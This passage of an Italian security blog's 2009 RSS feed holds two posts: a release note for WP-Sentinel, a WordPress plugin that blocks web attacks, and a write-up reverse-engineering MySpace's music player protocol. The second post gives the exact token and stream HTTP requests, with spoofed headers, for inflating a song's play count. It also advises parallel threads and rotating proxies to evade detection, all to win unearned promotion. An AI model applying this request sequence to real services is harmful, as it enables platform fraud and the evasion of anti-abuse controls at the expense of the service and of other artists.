		<comments>http://www.evilsocket.net/764/wp-sentinel-pubblicato.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 12:32:45 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sorgenti]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[evilsentinel]]></category>
		<category><![CDATA[evilsocket]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security system]]></category>
		<category><![CDATA[sentinel]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp-sentinel]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=764</guid>
		<description><![CDATA[Ho appena fatto le ultime modifiche fino ad arrivare alla versione 1.0 di WP-Sentinel e ho deciso di renderlo pubblico . Potete trovare il codice e le istruzioni per l&#8217;installazione la configurazione a questa pagina &#8230; proprio perchÃ¨ mi sono sbattuto per scrivere il file README, NON risponderÃ² ad alcuna domanda riguardante installazione e configurazione [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/106/wp-sentinel.html' rel='bookmark' title='Permanent Link: WP-Sentinel'>WP-Sentinel</a></li>
<li><a href='http://www.evilsocket.net/1014/nuova-funzione-load-come-realizzare-in-poche-righe-un-sistema-di-plugin.html' rel='bookmark' title='Permanent Link: Nuova funzione load, come realizzare in poche righe un sistema di plugin'>Nuova funzione load, come realizzare in poche righe un sistema di plugin</a></li>
<li><a href='http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, now PDF powered :)'>Informazione di Servizio, now PDF powered :)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ho appena fatto le ultime modifiche fino ad arrivare alla versione 1.0 di WP-Sentinel e ho deciso di renderlo pubblico .</p>
<p>Potete trovare il codice e le istruzioni per l&#8217;installazione la configurazione a <a href="http://github.com/evilsocket/WP-Sentinel/tree/master" target="_blank">questa pagina </a>&#8230; proprio perchÃ¨ mi sono sbattuto per scrivere il file README, <strong>NON </strong>risponderÃ² ad alcuna domanda riguardante installazione e configurazione ma solo ad eventuali domande tecniche o che comunque reputerÃ² intelliggenti .</p>
<p>Riporto brevemente la versione italiana del readme :</p>
<p><span id="more-764"></span><strong>WP-Sentinel</strong>, erede in parte del progetto <strong>evilsentinel</strong> (R.I.P.), Ã¨ un plugin per la piattaforma <strong>WordPress</strong> che aumenterÃ  la sicurezza del vostro<br />
blog da eventuali attacchi di cracker, lamer, black hats, h4x0r, ecc .<br />
Il sistema verrÃ  caricato prima degli altri plugins ed eseguirÃ  una serie di controlli sulle richieste http in arrivo ed, in caso una o piÃ¹ richieste<br />
facciano scattare un *allarme*, la bloccherÃ  mostrando un avviso all&#8217;utente e notificherÃ  per email l&#8217;accaduto all&#8217;amministratore del sito in questione,<br />
con tutti i dettagli del potenziale attacco .</p>
<p>Questo plugin Ã¨ in grado di bloccare i seguenti tipi di attacchi :</p>
<p>-<strong> Cross Site Scriptings</strong> &lt;http://it.wikipedia.org/wiki/Cross-site_scripting&gt;<br />
- <strong>Remote File Inclusions</strong> &lt;http://it.wikipedia.org/wiki/Remote_File_Inclusion&gt;<br />
- <strong>Local File Inclusions</strong> &lt;https://www.ihteam.net/blog/hacking-tutorial/local-file-inclusion-tutorial/&gt;<br />
- <strong>SQL Injections</strong> &lt;http://it.wikipedia.org/wiki/SQL_injection&gt;<br />
- <strong>Cross Site Request Forgery</strong> &lt;http://it.wikipedia.org/wiki/Cross-site_request_forgery&gt;<br />
<span style="color: #ff0000;"><em>Il plugin *<strong>NON</strong>* effettua controlli nel caso in cui l&#8217;utente che effettua la richiesta Ã¨ un amministratore del blog, quindi per testare il sistema dovrete</em></span></p>
<p><span style="color: #ff0000;"><em>effettuare il logout .</em></span><br />
Per <strong>INSTALLARE</strong> wp-sentinel, uploadate tutta la cartella &#8216;<strong>wp-sentinel</strong>&#8216; all&#8217;interno della cartella dei plugins &#8216;<strong>/wp-content/plugins/</strong>&#8216; del vostro blog e <strong>accertatevi<br />
che la cartella &#8216;/wp-content/plugins/wp-sentinel/log&#8217; sia scrivibile</strong> .<br />
Successivamente il sistema potrÃ  essere abilitato come ogni altro plugin ed entrerÃ  immediatamente in funzione .</p>
<p>WP-Sentinel non ha molte configurazioni disponibili al momento, ma quelle poche che ci sono possono essere modificate tramite il file &#8216;<strong>/wp-content/plugins/wp-sentinel/php/config.php</strong>&#8216; .<br />
I tre valori di configurazione sono :</p>
<p>- <strong>enabled</strong> : Impostato ad 1 abilita wp-sentinel, a 0 lo disabilita .<br />
- <strong>notification</strong> : Abilita o meno le notifiche via email all&#8217;admin del blog .<br />
- <strong>logging</strong> : Abilita o meno il logging degli allarmi dentro la cartella &#8216;wp-sentinel/log&#8217; .</p>
<p>Enjoy <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=764">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=764&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/106/wp-sentinel.html' rel='bookmark' title='Permanent Link: WP-Sentinel'>WP-Sentinel</a></li>
<li><a href='http://www.evilsocket.net/1014/nuova-funzione-load-come-realizzare-in-poche-righe-un-sistema-di-plugin.html' rel='bookmark' title='Permanent Link: Nuova funzione load, come realizzare in poche righe un sistema di plugin'>Nuova funzione load, come realizzare in poche righe un sistema di plugin</a></li>
<li><a href='http://www.evilsocket.net/1307/informazione-di-servizio-now-pdf-powered.html' rel='bookmark' title='Permanent Link: Informazione di Servizio, now PDF powered :)'>Informazione di Servizio, now PDF powered :)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/764/wp-sentinel-pubblicato.html/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>MySpace Protocol Reversing &#8211; Band Auto Clicker</title>
		<link>http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html</link>
		<comments>http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html#comments</comments>
		<pubDate>Sat, 13 Jun 2009 16:44:08 +0000</pubDate>
		<dc:creator>evilsocket</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[band clicker]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hits]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[myspace]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[song]]></category>
		<category><![CDATA[statistics]]></category>

		<guid isPermaLink="false">http://www.evilsocket.net/?p=731</guid>
		<description><![CDATA[Un po di tempo fa, una certa persona mi commisionÃ² un progetto che riguardava MySpace ed i profili delle band. Come alcuni di voi sapranno, su questo social network Ã¨ possibile creare un profilo per la propria band, nel quale poter uploadare i propri brani (o alcuni di essi) in formato mp3 che verranno poi [...]


Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/70/realtime-source-auditing.html' rel='bookmark' title='Permanent Link: Realtime Source Auditing'>Realtime Source Auditing</a></li>
<li><a href='http://www.evilsocket.net/78/syn-scanning.html' rel='bookmark' title='Permanent Link: Syn Scanning'>Syn Scanning</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://blog.recordunion.com/dogblog/wp-content/uploads/2009/05/myspace_logo088.jpg" alt="" width="142" height="142" />Un po di tempo fa, una certa persona mi commisionÃ² un progetto che riguardava MySpace ed i profili delle band.</p>
<p>Come alcuni di voi sapranno, su questo social network Ã¨ possibile creare un profilo per la propria band, nel quale poter uploadare i propri brani (o alcuni di essi) in formato mp3 che verranno poi eseguiti nel profilo stesso dall&#8217;apposito player in flash .</p>
<p>CiÃ² che non tutti sanno, o perlomeno che non tutti hanno notato, Ã¨ che questo player tiene traccia delle statistiche di ogni brano, principalmente quanta gente lo ha ascoltato complessivamente, giornalmente, ecc ecc. Tali statistiche vengono poi utilizzate per scegliere le band da promuovere nella sezione musicale di myspace, in parole povere, le band piÃ¹ ascoltate usufruiranno di una pubblicizzazione gratuita (e decisamente remunerativa) nella sezione di MySpace .</p>
<p>Il mio compito era di reversare il protocollo di comunicazione di MySpace tra i vari server e sfruttare tali informazioni per scrivere un programma che incrementi arbitrariamente le statistiche di un brano o di tutta la playlist .</p>
<p>Per un motivo o per un altro il mio rapporto professionale con questa persona Ã¨ andato a farsi benedire e mi son trovato in mano una settimana di ricerche e coding, che a questo punto decido di condividere con chiunque sia interessato, soprattutto perchÃ¨ software analoghi sono sempre proprietari e a pagamento .</p>
<p><span id="more-731"></span>Come Ã¨ facile immaginare, tutto ha inizio con una richiesta http al profilo dell&#8217;artista, nella forma :</p>
<blockquote>
<pre><em>http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=<strong>{ID DEL PROFILO}</strong></em></pre>
</blockquote>
<p>Dove ovviamente l&#8217;ultimo parametro Ã¨ un id numerico che identifica il profilo, ad esempio, un profilo che avevo creato per i test :</p>
<blockquote>
<pre><a href="http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=454317278" target="_blank"><em>http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&amp;friendid=<strong>454317278</strong></em></a></pre>
</blockquote>
<p>Richiedendo ai server myspace questa pagina, ovviamente verrÃ  scaricato l&#8217;html e il blocco del player flash, con dei parametri (le flashvars) molto importanti che ci serviranno in seguito, questi parametri si presentano nella forma :</p>
<blockquote>
<pre>...
<strong>plid=92912</strong> <span style="color: #ff0000;">&lt;--- id della playlist</span>
<strong>profid=454317278</strong> <span style="color: #ff0000;">&lt;--- id del profilo</span>
...
<strong>artid=19268119</strong> <span style="color: #ff0000;">&lt;--- id dell'artista </span>
...</pre>
</blockquote>
<p>Tramite questi parametri, iniziamo ad addentrarci nel protocollo vero e proprio che sfrutta il player di myspace per ottenere le informazioni rigurdanti la playlist &#8230; reversando tale sfw, ho verificato che le informazioni sulla playlist vengono richieste in formato xml e possono essere ottenute tramite la seguente richiesta :</p>
<blockquote><p><em>http://musicservices.myspace.com/Modules/MusicServices/Services/MusicPlayerService.ashx?artistUserId=<strong>{ID PROFILO}</strong>&amp;playlistId=<strong>{ID PLAYLIST}</strong>&amp;action=<strong>getArtistPlaylist</strong>&amp;artistId=<strong>{ID ARTISTA}</strong></em></p></blockquote>
<p>Quindi nel nostro profilo di esempio, l&#8217;url risulterÃ  essere :</p>
<blockquote><p><a href="http://musicservices.myspace.com/Modules/MusicServices/Services/MusicPlayerService.ashx?artistUserId=454317278&amp;playlistId=92912&amp;action=getArtistPlaylist&amp;artistId=19268119" target="_blank"><em>http://musicservices.myspace.com/Modules/MusicServices/Services/MusicPlayerService.ashx?artistUserId=<strong>454317278</strong>&amp;playlistId=<strong>92912</strong>&amp;action=getArtistPlaylist&amp;artistId=<strong>19268119</strong></em></a></p></blockquote>
<p>E con questo otteniamo un xml con le informazioni della playlist, traccia per traccia, compresi gli id di ogni canzone, le statistiche, eventuali immagini cover, etc etc etc &#8230; in particolare ci interessa l&#8217;attributo <strong>songId</strong> del nodo xml <strong>song</strong> della canzone che ci interessa, nel caso del mio profilo di esempio, l&#8217;xml relativo all&#8217;unica canzone che ho caricato risulta essere :</p>
<blockquote>
<pre><em>...
&lt;song <strong>songId</strong>="<strong>40916167</strong>"</em> ...
...</pre>
</blockquote>
<p>A questo punto, dobbiamo iniziare la procedura http che genererebbe un normale utente aprendo il profilo, caricando il player flash, richiedendo l&#8217;ascolto di una traccia e di conseguenza incrementando il valore di ascolto della stessa .</p>
<p>La gestione del tutto Ã¨ delegata al player swf e una volta reversato ho notato che la logica di ogni richiesta effettuata dal player stesso Ã¨ la seguente :</p>
<ul>
<li>Richiedo un nuovo &#8220;<strong>token</strong>&#8221; (un id alfanumerico che identifica ogni richiesta) di autorizzazione al server <strong>musicservices.myspace.com</strong> .</li>
<li>Richiedo al server <strong>profile.myspace.com</strong> di iniziare lo stream della traccia e successivamente di incrementarne le statistiche .</li>
</ul>
<p>Ovviamente le due richieste vengono eseguite in http tramite una serie di campi nell&#8217;header specifici, impostati dal player, che identificano in modo univoco il player rendendo &#8220;sicura&#8221; e &#8220;non riproducibile&#8221; (almeno secondo loro XD) tutta la transazione .</p>
<p>Analiziamo ora la prima richiesta, ovvero l&#8217;impostazione del nuovo token di autorizzazione verso l&#8217;host <strong>musicservices.myspace.com :</strong></p>
<blockquote>
<pre><strong>POST</strong> /Modules/MusicServices/Services/MusicPlayerService.ashx?action=<strong>getToken</strong> HTTP/1.0
<strong>Host</strong>: musicservices.myspace.com
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <strong>{USER AGENT DELL'UTENTE CHE VISITA IL PROFILO}</strong>
<strong>Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Content-type</strong>: application/x-www-form-urlencoded
<strong>x-myspace-id</strong>: ownerId=<strong>{ID PROFILO}</strong>;contentId=<strong>{ID TRACCIA}</strong>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream
<strong>Content-length</strong>: 16
<span style="color: #ff0000;"><em>service=tokennew</em></span><strong>
</strong></pre>
</blockquote>
<p>Quindi, una richiesta di esempio con Firefox e alla traccia del profilo che ho appositamente creato, risulterebbe :</p>
<blockquote>
<pre><strong>POST</strong> /Modules/MusicServices/Services/MusicPlayerService.ashx?action=<strong>getToken</strong> HTTP/1.0
<strong>Host</strong>: musicservices.myspace.com
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <span style="color: #ff0000;">Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1
</span><strong>Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Content-type</strong>: application/x-www-form-urlencoded
<strong>x-myspace-id</strong>: ownerId=<strong>454317278</strong>;contentId=<strong>40916167</strong>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream
<strong>Content-length</strong>: 16
<span style="color: #ff0000;"><em>service=tokennew</em></span><strong>
</strong></pre>
</blockquote>
<p>Il server a questo punto ci risponde con un xml del tipo :</p>
<blockquote>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;token&gt;<strong>N1jfEyw1SLA2E2s6qcFAxaqIdbqU5dC/47iDlNUVpPoZXXzWqgzrX8bxMZAS2Np/UGKFeb+bO8EEANKT6fSIatp9ueAK9oKrDpP90lCHlAI=</strong>&lt;/token&gt;</pre>
</blockquote>
<p>Dove la parte in grassetto identifica il famoso token .</p>
<p><em><strong>Una piccola nota</strong>: Ai fini del nostro obiettivo, cioÃ¨ incrementare le statistiche di una canzone, NON Ã¨ importante ritrasmettere questo token nella richiesta successiva, ma Ã¨ OBBLIGATORIO richiederlo per ogni streaming simulato, poichÃ¨ da quel punto in poi il server contrassegnerÃ  il nostro indirizzo ip come &#8220;autorizzato&#8221; ad ascoltare la canzone, per poi cancellare tale autorizzazione alla richiesta successiva .</em></p>
<p>Detto questo, possiamo procedere con la seconda richiesta, ovvero l&#8217;inizializzazione dello streaming vero e proprio, che aumenterÃ  le statistiche della canzone richiesta :</p>
<blockquote>
<pre><strong>GET</strong> /index.cfm?fuseaction=user.viewprofile&amp;friendID=<strong>{ID PROFILO}</strong> HTTP/1.0
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <strong>{USER AGENT DELL'UTENTE CHE VISITA IL PROFILO}</strong>
<strong>Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Host</strong>: profile.myspace.com
<strong>x-myspace-id</strong>: ownerId=<strong>{ID ARTISTA}</strong>;contentId=<strong>{ID TRACCIA}</strong>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream</pre>
</blockquote>
<p>Quindi nel nostro caso la richiesta appare come :</p>
<blockquote>
<pre><strong>GET</strong> /index.cfm?fuseaction=user.viewprofile&amp;friendID=<strong>454317278</strong> HTTP/1.0
<strong>Accept</strong>:Â  application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
<strong>Accept-Language</strong>: en-us,en;q=0.5
<strong>User-Agent</strong>: <span style="color: #ff0000;">Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1</span><strong>
Accept-Encoding</strong>: gzip,deflate
<strong>Accept-Charset</strong>: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<strong>Referer</strong>: http://lads.myspace.com/videos/Main.swf
<strong>Host</strong>: profile.myspace.com
<strong>x-myspace-id</strong>: ownerId=<strong>19268119</strong>;contentId=<em><strong>40916167</strong></em>
<strong>x-myspace-type</strong>: Music
<strong>x-myspace-action</strong>: Stream</pre>
</blockquote>
<p>Ed in seguito a questa richiesta il server incrementerÃ  le statistiche della canzone ^^ .</p>
<p>Ovviamente, per chi volesse realizzare un applicazione che incrementasse le stats in modo consistente, dovrebbe instaurare parecchie richieste in parallelo (threads rule <img src='http://www.evilsocket.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ), possibilmente utilizzando una lista di proxy http abbastanza corposa da utilizzare singolarmente per ogni richiesta http .</p>
<blockquote>
<pre><strong>

</strong></pre>
</blockquote>

                            <div id="aspdf">
                                <a href="http://www.evilsocket.net/wp-content/plugins/as-pdf/generate.php?post=731">
                                    <span> </span>
                                </a>
                            </div>
                        <img src="http://www.evilsocket.net/?ak_action=api_record_view&id=731&type=feed" alt="" />

<p>Related posts:<ol><li><a href='http://www.evilsocket.net/64/google-hacking.html' rel='bookmark' title='Permanent Link: Google Hacking'>Google Hacking</a></li>
<li><a href='http://www.evilsocket.net/70/realtime-source-auditing.html' rel='bookmark' title='Permanent Link: Realtime Source Auditing'>Realtime Source Auditing</a></li>
<li><a href='http://www.evilsocket.net/78/syn-scanning.html' rel='bookmark' title='Permanent Link: Syn Scanning'>Syn Scanning</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.evilsocket.net/731/myspace-protocol-reversing-band-auto-clicker.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
